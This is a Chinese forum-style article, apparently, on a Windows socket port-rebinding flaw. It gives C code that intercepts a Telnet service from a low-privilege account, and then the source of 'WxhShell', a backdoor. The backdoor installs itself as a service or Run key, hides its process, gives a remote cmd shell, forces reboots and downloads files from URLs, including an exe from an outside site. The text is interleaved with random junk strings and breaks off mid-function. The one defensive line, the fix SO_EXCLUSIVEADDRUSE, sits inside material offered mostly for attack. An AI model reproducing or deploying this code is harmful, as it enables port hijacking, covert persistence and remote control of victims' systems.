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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QPL6cU$&R
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _wvSLu <q w0`aW6t# saddr.sin_family = AF_INET; _T[7N|'O a g=,oYn saddr.sin_addr.s_addr = htonl(INADDR_ANY); Rwu
y!F }V@ *
:3w8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1^F
!X= fU?P__zU4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e15_$M;RW .rfKItd 这意味着什么?意味着可以进行如下的攻击: $?voQ& ="yN4+0-p 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m*'^*# R<"fcsU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `TugtzRU +@n8DM{b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P;B<R" J`uO~W" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 sR(or=ub~ 6I5,PB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H83Gx; f=$w,^)M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v$H=~m >%x N?% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2.xA' \M nu'r` #include R8Kj3wp #include e|6kgj3/ #include G6l:El& #include e7T}*Up DWORD WINAPI ClientThread(LPVOID lpParam); +`y{r^xD int main() {xW HKsI>, { `,-w+3?Al WORD wVersionRequested; Wc6Jgpl DWORD ret; uv&??F]/ WSADATA wsaData; kPuY[~i% BOOL val; pQ:7%+Om SOCKADDR_IN saddr; ;F)j,Ywi)H SOCKADDR_IN scaddr; QJeL&mf int err; '>8IOC SOCKET s; <FaF67[Q SOCKET sc; 8XS_I{}? int caddsize; HUP~ HANDLE mt; H%`$@U> DWORD tid; 1R}rL#h;= wVersionRequested = MAKEWORD( 2, 2 ); {>x6SVF err = WSAStartup( wVersionRequested, &wsaData ); he/WqCZg if ( err != 0 ) { !xqy6%p printf("error!WSAStartup failed!\n"); NVt612/'7y return -1; 9FGe(t< } o#p{0y saddr.sin_family = AF_INET; TnuNoMD. !+<OED=qe //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z}b25) G)(vd0X1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fu=GgD* saddr.sin_port = htons(23); <%_7% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D@O#P^? { (pDu printf("error!socket failed!\n"); *-.{->#Y return -1; ||xiKg } C[4{\3\Va val = TRUE; =hw&2c //SO_REUSEADDR选项就是可以实现端口重绑定的 #![9QUvcf if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eNQQ`ll@m { j=q*b Qr printf("error!setsockopt failed!\n"); t\GoUeH] return -1; [WfigqY`b* } K@RE-K6{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %oee x1`= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -2D/RE7| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GBh$nVn$ Lm!/iseGv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -za+Wa`vH { <~d3L4h*< ret=GetLastError(); 80'!XKSP printf("error!bind failed!\n"); =yR$^VSY return -1; .=kXO{> } 5 R* listen(s,2); ?Q?=I,2bP while(1) oJ:\8>)9 { .!oYIF*0zC caddsize = sizeof(scaddr); Xur{nk~? //接受连接请求 gpvzOW/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P(Gv|Q@ if(sc!=INVALID_SOCKET) # $N) { E"/r*C+T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dE_d.[! if(mt==NULL) EF8~rKO3 {
*v}3So printf("Thread Creat Failed!\n"); oe4r_EkYwW break; QEC4!$L^ } '5usPD } ]Yw/}GKB CloseHandle(mt); p;x3gc;0 } [ Q@rW5,- closesocket(s); _aaQ1A`p WSACleanup(); ~;QzV?% return 0; (m~gG|n4 } }hm"49,O DWORD WINAPI ClientThread(LPVOID lpParam) X2PyFe { Gg,&~
jHib SOCKET ss = (SOCKET)lpParam; mw!EDJ;' SOCKET sc; c}-WK*v unsigned char buf[4096]; >V,i7v*? SOCKADDR_IN saddr; Z=I+_p_G long num; 2[V9`r8* DWORD val; qQ{i2D%)?f DWORD ret; 5McOSy //如果是隐藏端口应用的话,可以在此处加一些判断 U65a_dakk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 9kO}054 saddr.sin_family = AF_INET; #
o;\5MOE% saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (fTi1
I! saddr.sin_port = htons(23); g[%iVZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &tjv.t { 4b@Awtk printf("error!socket failed!\n"); O: J;zv\ return -1; Cqra\ } @p\te7(P% val = 100; 5*#3v:l/9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +lNAog { "J=A(w5 ret = GetLastError(); -Uo"!o>x| return -1; ;+Sc Vz } 37U2Tb!y' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LP{@r ic { .wPu
#* ret = GetLastError(); .S6u{B return -1; /ygC_,mx } z]V%&f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r;"uk+{i { 0kiV-yc printf("error!socket connect failed!\n"); Ij_h #f closesocket(sc); c`M
,KXott closesocket(ss); 3;F+.{Icc return -1; F8*zG 4/& } U 6`E\?d` while(1) + 2j] { [$]Kp9YD //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G?e\w+}Pj@ //如果是嗅探内容的话,可以再此处进行内容分析和记录 qy^sdqHl@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D&]dlY@* num = recv(ss,buf,4096,0); D:I6nSoC if(num>0) `9vCl@"IV send(sc,buf,num,0); "b6ew2\ else if(num==0) RLE6=#4 break; (RM;T @` num = recv(sc,buf,4096,0); 2+'4 m#@) if(num>0) 0Vwl\,7z9 send(ss,buf,num,0); hAvX{] else if(num==0) dFw>SYrpu break; q)F@f / }
VM"z6@ closesocket(ss); ^;DbIo\6H closesocket(sc); =JM !`[ return 0 ; s6HfN' } WW.amv/[a E!6 Nf[ M!Wjfq
^~ ========================================================== ?c0@A*:o e"u89acp 下边附上一个代码,,WXhSHELL ,b!]gsds vbMt}bM(GD ========================================================== Dxx`<=&g JZom#A.
dt #include "stdafx.h" eI:;l];G9 5a^b{=#Y #include <stdio.h> --'!5)U #include <string.h>
24L
=v #include <windows.h> kfQi}D'a #include <winsock2.h> :dM
eNM- #include <winsvc.h> 1^R:[L4R` #include <urlmon.h> lE 09 Y vN8Xq+ #pragma comment (lib, "Ws2_32.lib") >6\rhx> #pragma comment (lib, "urlmon.lib") a?gziCmS?C 5.o{A#/NTl #define MAX_USER 100 // 最大客户端连接数 A{(<#yRfg #define BUF_SOCK 200 // sock buffer *0!IHr"fn #define KEY_BUFF 255 // 输入 buffer ,EuJ0]2 SBog7An9SI #define REBOOT 0 // 重启 4.o[:5' #define SHUTDOWN 1 // 关机 #CcWsI>+w> o0`|r+E\ #define DEF_PORT 5000 // 监听端口 k,M%"FLQ =3R5m>6!/ #define REG_LEN 16 // 注册表键长度 f !D~aJ #define SVC_LEN 80 // NT服务名长度 tI;pdR] |`c=`xK7' // 从dll定义API n>##,o|Vr# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N8K @ch3=P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /4_^'RB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +:D90p$e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q7-.-k<dQ 4Px // wxhshell配置信息 !ZC0 n` struct WSCFG { tw?\bB int ws_port; // 监听端口 ")?NCun> char ws_passstr[REG_LEN]; // 口令 A"W}l)+X int ws_autoins; // 安装标记, 1=yes 0=no "JBTsQDj! char ws_regname[REG_LEN]; // 注册表键名 s"g"wh', char ws_svcname[REG_LEN]; // 服务名 }+3IM1VTW{ char ws_svcdisp[SVC_LEN]; // 服务显示名 #5a'Z+ char ws_svcdesc[SVC_LEN]; // 服务描述信息 cPL]WI0( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qL1d-nH int ws_downexe; // 下载执行标记, 1=yes 0=no dXvp-oi char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" *]]C.t-cd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 du0]LiHV :Tu%0="ye }; r1o_i;rg @c{rqa
v // default Wxhshell configuration V/@?KC0B5 struct WSCFG wscfg={DEF_PORT, , U?W "xuhuanlingzhe", :!nBTw 1, QZ:xG:qyk; "Wxhshell", hJIF!eoI "Wxhshell", u{>_Pb "WxhShell Service", wO&2S-;_K "Wrsky Windows CmdShell Service", ++ZtL\h{7 "Please Input Your Password: ", 6;^ e 1, TP-<Lhy " http://www.wrsky.com/wxhshell.exe", H6Qb]H.C "Wxhshell.exe" ]Y%U5\$ }; `kERM-@A xw5LPz;B // 消息定义模块 M!nwcxB! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z.v2!u char *msg_ws_prompt="\n\r? for help\n\r#>"; Ag#o&Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; MV.$Ay char *msg_ws_ext="\n\rExit."; }?vVJm' char *msg_ws_end="\n\rQuit."; ;{e=Iz}/ char *msg_ws_boot="\n\rReboot..."; <>9zXbI char *msg_ws_poff="\n\rShutdown..."; erQ0fW char *msg_ws_down="\n\rSave to "; 48 | u{ e_{!8u.+ char *msg_ws_err="\n\rErr!"; 7HkQ|~zGT char *msg_ws_ok="\n\rOK!"; Tl2e?El;4 ;?`l1:C5) char ExeFile[MAX_PATH]; ?5yj</W int nUser = 0; gY=Ry=w9 HANDLE handles[MAX_USER]; SFdSA4D" int OsIsNt; nL[zXl }G50?"^u SERVICE_STATUS serviceStatus; (K>=!&tlp= SERVICE_STATUS_HANDLE hServiceStatusHandle; .xIu vs|_l!n3 // 函数声明 `4N{x.N int Install(void); ~BJ~]~0P` int Uninstall(void); ['l.]k-b} int DownloadFile(char *sURL, SOCKET wsh); Uq8=R)1<|d int Boot(int flag); [q5N 4&q\ void HideProc(void); *wOuw@09 int GetOsVer(void); :>t^B+ int Wxhshell(SOCKET wsl); kk*:S* , void TalkWithClient(void *cs); =e>#oPH int CmdShell(SOCKET sock); "BAH=ul5E int StartFromService(void); 5?()o}VjAO int StartWxhshell(LPSTR lpCmdLine); nR()ei^X /e0cx:.w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qauZ-Qoc9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); QaMB=wVr /V%]lmxQ // 数据结构和表定义 {g7[3WRy SERVICE_TABLE_ENTRY DispatchTable[] = AvNU\$B4aG { |y*-)t {wscfg.ws_svcname, NTServiceMain}, P4~=_Hh {NULL, NULL} ggR--`D[ }; .{@aQwN 0/F/U=Z! // 自我安装 Qn*a#]p int Install(void) p@se
5~ { `Rc7*2I)l char svExeFile[MAX_PATH]; d*A(L5;@ HKEY key; uv,_?x\' strcpy(svExeFile,ExeFile); e~wJO~ %488" // 如果是win9x系统,修改注册表设为自启动 uDZ$'a if(!OsIsNt) { 7wU$P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4[eQ5$CB<u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s.)nS$ RegCloseKey(key); SB3=5"q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?<#2raH- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y^(Sc4 W RegCloseKey(key); H%*<t} return 0; E9yBa=#*c } 3Q@HP;< } Q6|~ks+Y } F$QAWs else { g+-=/Ge X@[)jWs // 如果是NT以上系统,安装为系统服务 { fmY_T[Q8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $m:4'r if (schSCManager!=0) D<m+M@u { D =Pv:)*] SC_HANDLE schService = CreateService B: pIzCP ( (xJZeY)-b^ schSCManager, L,XWX8 wscfg.ws_svcname, y<<:6OBj wscfg.ws_svcdisp, P2+Z^J`Y> SERVICE_ALL_ACCESS, ]757oAXl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nv9kl Q@ SERVICE_AUTO_START, ;BR`}~m SERVICE_ERROR_NORMAL, sPee"9%, svExeFile, }5)sS}C NULL, SgOn:xg;3L NULL, o~*5FN}%+l NULL, i'Oh^Y)E# NULL, :.+?v*%;n NULL E!eBQ[@ );
'kD~tpZ if (schService!=0) #jja#PF]7 { ;'B\l@U\ CloseServiceHandle(schService); ~$zodrS9 CloseServiceHandle(schSCManager); Uv-xP(X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :V%XEN) strcat(svExeFile,wscfg.ws_svcname); dtdz!'q)Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |^ao,3h# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .i7bI2^ RegCloseKey(key); "z^&>#F return 0; !lf:x } zLs[vg.( } LZCziW CloseServiceHandle(schSCManager); l1|z;
$_z } "SuBtoK } -n-rKN.T }- Jw"|^W return 1; DJtKLG0 } mv1_vF: QDRgVP // 自我卸载 ;plzJ6> int Uninstall(void) -1Luyuy/` { 39W6"^q"o HKEY key; (L)tC*Qjc
>?$+hZz< if(!OsIsNt) { ~ "]6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8%UI<I, RegDeleteValue(key,wscfg.ws_regname); u0md ^ RegCloseKey(key); rsp?N{e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2EeWcTBU}. RegDeleteValue(key,wscfg.ws_regname); QPi]5z? RegCloseKey(key); +M+ht return 0; axl!zu* } {I!sXj } LDJ=<c! } fR>(b?C else { ys5b34JN G?Y2 b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w%no6 ; if (schSCManager!=0) {=AK| { iB Ld*B|#K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KfXE=v{t if (schService!=0) X5'QYZ6kv { rurC! - if(DeleteService(schService)!=0) { e,_b CloseServiceHandle(schService); vG'JMzAm CloseServiceHandle(schSCManager); <t{T]i+ return 0; v'C`;I } !O=J8;oLk CloseServiceHandle(schService); U!"+~d) } U$J l5[`F^ CloseServiceHandle(schSCManager); nj*B-M\p } H1PW/AW } Z6}B}5@y !s;+6Sy return 1; {*8'bNJ } ! K~PH "YlN_U // 从指定url下载文件 =OIxG}* int DownloadFile(char *sURL, SOCKET wsh) ,zy4+GW { xzFV] HRESULT hr; a.a5qwG char seps[]= "/"; ~M 6^% char *token; Q"UQv< char *file; c~0YIk>] char myURL[MAX_PATH]; :^DuB_ char myFILE[MAX_PATH]; ellj/u61bj iPMI$ strcpy(myURL,sURL); T jO}P\p token=strtok(myURL,seps); s4 o-*1R*` while(token!=NULL) bJD2c\qoc { TxYxB1C) file=token; #c V_p token=strtok(NULL,seps); EPCu } bQlShVJL JVA JLq GetCurrentDirectory(MAX_PATH,myFILE); (]Z%&>* strcat(myFILE, "\\"); `z$<1QT strcat(myFILE, file); J9^RP~>bs send(wsh,myFILE,strlen(myFILE),0); )1a3W7 send(wsh,"...",3,0); Oo<^~d2= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r"OVu~ND if(hr==S_OK) *yqEl
O return 0; [X.sCl| else -r_/b return 1; &eQF[8 , B
Mh949; } uhUC m lHwQ'/r // 系统电源模块 pHlw&8(f" int Boot(int flag) Nhv~f0 { 7p&%0'BO1z HANDLE hToken; zE +)oQ, TOKEN_PRIVILEGES tkp; (!Q^.C_m ~A+DH if(OsIsNt) { m!s/L,iJJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $-m`LF@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pew-6u" tkp.PrivilegeCount = 1; 2H8,&lY.p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &ZgB b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2{zFO3i<3 if(flag==REBOOT) { PNLtpixZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~/J:p5?L return 0; Mg]q^T.a } S(jbPQT else { \$ L2xd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :tY;K2wDM return 0; LuS]D% } %ci/(wL } @cNX\$J else { ]R/VE"- if(flag==REBOOT) { -E#!`~&V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O0#wM-M return 0; DG&14c>g } >Liv]. else { -tWkN^j8+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^1M :wXr return 0; XCO{}wU)> } L2[|g~ } oJw~g[ /"+n{*9 return 1; 5An|#^] } +5Yc/Qp PZ~uHX_d> // win9x进程隐藏模块 *Z=K9y,IC void HideProc(void) 4flyV - { zJS,f5L6) E~xK1x" HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HONrt|c if ( hKernel != NULL ) -crKBy { w
`6qT3v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZKyK#\v< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y\b.0-z FreeLibrary(hKernel); QIVpO /@ } Fn*clx< l?v-9l M return; #*;(%\q} } NvWwj%6] g5/%}8[-
2 // 获取操作系统版本 |*"uj int GetOsVer(void) u1O?` { E~]8>U?V OSVERSIONINFO winfo; ^HumyDD6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^EE3E' GetVersionEx(&winfo); Y[9x\6
_E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Xm7{`jH return 1; .asHFT7]9 else a0OH return 0; Asicf{HaX } :BG/]7>|V 9VdVom|e // 客户端句柄模块 ?c0OrvM int Wxhshell(SOCKET wsl) a02;Zl { ?as)vYP SOCKET wsh; KHKf+^u u struct sockaddr_in client; x(h(a#,r DWORD myID; HJ]\VP9Zb JX(J Z/8B^ while(nUser<MAX_USER) h=umt<&D { hN$6Kx>{ int nSize=sizeof(client); Mh>H5l.1i wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "40Jxqt if(wsh==INVALID_SOCKET) return 1; $+)2CXQe5 _|rrl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]kx)/n-K if(handles[nUser]==0) jftoqK-
p closesocket(wsh); \k_0wt2x1 else :<4:h.gO8 nUser++; 5FcKY_ } rVq=,>M9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T1c2J,+}R mw";l$Aq} return 0; [_Y\TdR } nJ |O,*`O T;X8T // 关闭 socket X64OX9:YF void CloseIt(SOCKET wsh) [TvH7ott'1 { w35r\x + closesocket(wsh); {X<mr~ nUser--; 7F.t>$' ExitThread(0); !tBNA } ?I&ha-." |3W\^4>, // 客户端请求句柄 .j:[R. void TalkWithClient(void *cs) +ia F$ { '$*d:1 1BUdl=o>S SOCKET wsh=(SOCKET)cs; {ecmOxKP} char pwd[SVC_LEN]; 0{g @j{Lbz char cmd[KEY_BUFF]; I^sWf3'db char chr[1]; YG$2ySkDhE int i,j; Z W`
Ur> VQV7W while (nUser < MAX_USER) { EL$"MT}p saQA:W; if(wscfg.ws_passstr) { |2(z<b&y= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AYHB?xOpR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FCTz>N^p //ZeroMemory(pwd,KEY_BUFF); z.n`0`^ i=0; Oi +(` while(i<SVC_LEN) { \dSMF,E :D6"h[7 // 设置超时 xiuAW fd_set FdRead; /-JBzU$ struct timeval TimeOut; 1$oVcDLl FD_ZERO(&FdRead);
IE!fNuR4 FD_SET(wsh,&FdRead); 5"Q3,4f TimeOut.tv_sec=8; Bt4
X TimeOut.tv_usec=0; w#g0nV"X6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .f
4a+w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NKB,D$!~& Vc|r(lM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \)859x&( pwd =chr[0]; n-[J+DdB if(chr[0]==0xd || chr[0]==0xa) { uZ][#[u pwd=0; BFmYbK break; zvB!= } tyFhp:ZB i++; yaV=e1W } c'?4*O Cr|v3Y#h' // 如果是非法用户,关闭 socket QIQ }ia if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iaBy/!i } 2MwRjh_ c(Zar&z,E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]bCeJE.+) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c n#JO^8 'bp*hqG[ while(1) { rBLkowDP* 6=o@X ZeroMemory(cmd,KEY_BUFF); f)hs>F flp<QT // 自动支持客户端 telnet标准 D7cOEL< j=0; z!27#gbL while(j<KEY_BUFF) { Gs%IZo_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1><\3+8 cmd[j]=chr[0]; Q>f^*FyOw< if(chr[0]==0xa || chr[0]==0xd) { !PUbaF-.6 cmd[j]=0; ^p(t*%LM break; e\i K } 5g
,u\` j++; -IhFPjQ } -C.x;@!k qp
(ng8%c // 下载文件 0/P!rH9 if(strstr(cmd,"http://")) { iOz<n
z send(wsh,msg_ws_down,strlen(msg_ws_down),0); yo*c& > if(DownloadFile(cmd,wsh)) MN\/F4Io send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/,fjM_ else 33x3zEUt6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HpXMPHd } |eL&hwqzG else { iA*Z4FKkT a*JM2^,HO switch(cmd[0]) { |,M&ks r*]0PQ{? // 帮助 86O"w*9 case '?': { b2c% 0C send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e"(l break; CBdSgHA3> } 7 y}b (q= // 安装 k+S+: 5 case 'i': { -a(f- if(Install()) Jhu<^pjs send(wsh,msg_ws_err,strlen(msg_ws_err),0); _l]`Og@Y else <K!5N&vh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F4X/ )$Dk break; 'TpW-r: } l!e8=QlJ // 卸载 l=*^FK]L` case 'r': { |sz`w^# if(Uninstall()) Ib.`2@o& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'JY*K:- else UI|L;5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.xN_NK" break; Frn#?n)S9 } 9PhdoREb // 显示 wxhshell 所在路径 @<Au|l` case 'p': { Ls#pe char svExeFile[MAX_PATH]; i.2O~30ST strcpy(svExeFile,"\n\r"); ~LGkc
t strcat(svExeFile,ExeFile); @OAX#iQl send(wsh,svExeFile,strlen(svExeFile),0); )%%RI_JT break; cAC2Xq } eU_|.2 // 重启 R-]QU`c case 'b': { _H@s^g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dj4 g if(Boot(REBOOT)) {;^booq send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^qqP):0y1V else { RGYky3mQK closesocket(wsh); HRi~TZ?\ ExitThread(0); $+Ke$fq.> } E(tdL,m' break; g(<02t!OT= } m3XL;1y:a // 关机 B#o(21s case 'd': { kH*l83 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T:x5 ,vpM if(Boot(SHUTDOWN)) qT#+DDEAL send(wsh,msg_ws_err,strlen(msg_ws_err),0); f|Kd{ $VO else { 65AXUTg closesocket(wsh);
U,)Ngnd ExitThread(0); _v4TyJ } _=B(jJZ break; ?@Z~i]gE[V } *JGm // 获取shell iQ*JU2;7t case 's': { d+~c$(M) CmdShell(wsh); VBR@f<2L closesocket(wsh); ;5#P? ExitThread(0); ba|x?kz break; )/2* <jr } jo=XxA // 退出 y=YD4m2 W case 'x': { &Th/Qv}[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &5/`6-K CloseIt(wsh); g#`(&
k break; qRsPi0; } Q6Q>b4 .3 // 离开 R6dw#;6{I case 'q': { ,0[8/)$M send(wsh,msg_ws_end,strlen(msg_ws_end),0); xr!FDfM.K closesocket(wsh); is{I5IR\/ WSACleanup(); Gh0H)
q exit(1); +xRja(d6 break; 3O%[k<S\VO } liFNJd`|o+ } : Ey } Nt67Ye3; e.G&hJr // 提示信息 srx`"
: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wM (!9Ws3 } ^mFuZ~g;? } NAV}q<@v V'pNo&O= return; iKV;>gF,)v } .{HU1/! -"Lia!Q]M // shell模块句柄 n?@3R#4D3 int CmdShell(SOCKET sock) '1ff| c!x9 { fMwJwMT8 STARTUPINFO si; 8kAG EiC ZeroMemory(&si,sizeof(si)); h3aHCr E si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9?gLi!rd si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s['F?GWg PROCESS_INFORMATION ProcessInfo; JO5~Vj_" char cmdline[]="cmd"; ]eb9Fq:N7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E&
T9R2Y return 0; U/yYQZ\) } \% &QIe;:k B9iH+
]W // 自身启动模式 4u X<sJ* int StartFromService(void) |^Try2@ { `>rdn*B typedef struct RoM'+1nP:# { u%5B_<90V DWORD ExitStatus; +
}( DWORD PebBaseAddress; z|}Anc[\ DWORD AffinityMask; eL^,-3JA(] DWORD BasePriority; x*i5g`jx ULONG UniqueProcessId; ;W?e@ Lgxk ULONG InheritedFromUniqueProcessId; ex $d~ } PROCESS_BASIC_INFORMATION; &xr?yd )Be}Ev#)Zx PROCNTQSIP NtQueryInformationProcess; HCb7`(@ ^O#,%>1J static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LH]nJdq?) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g-oHu8 \`{ YqO T HANDLE hProcess; $b\Gl=YX^ PROCESS_BASIC_INFORMATION pbi; $]\N/}1v ]5x N^7_!j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KmEm if(NULL == hInst ) return 0; 7\JRHw p}R)qz-=5U g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U;OJ.a9 g_pGetModuleBaseName = 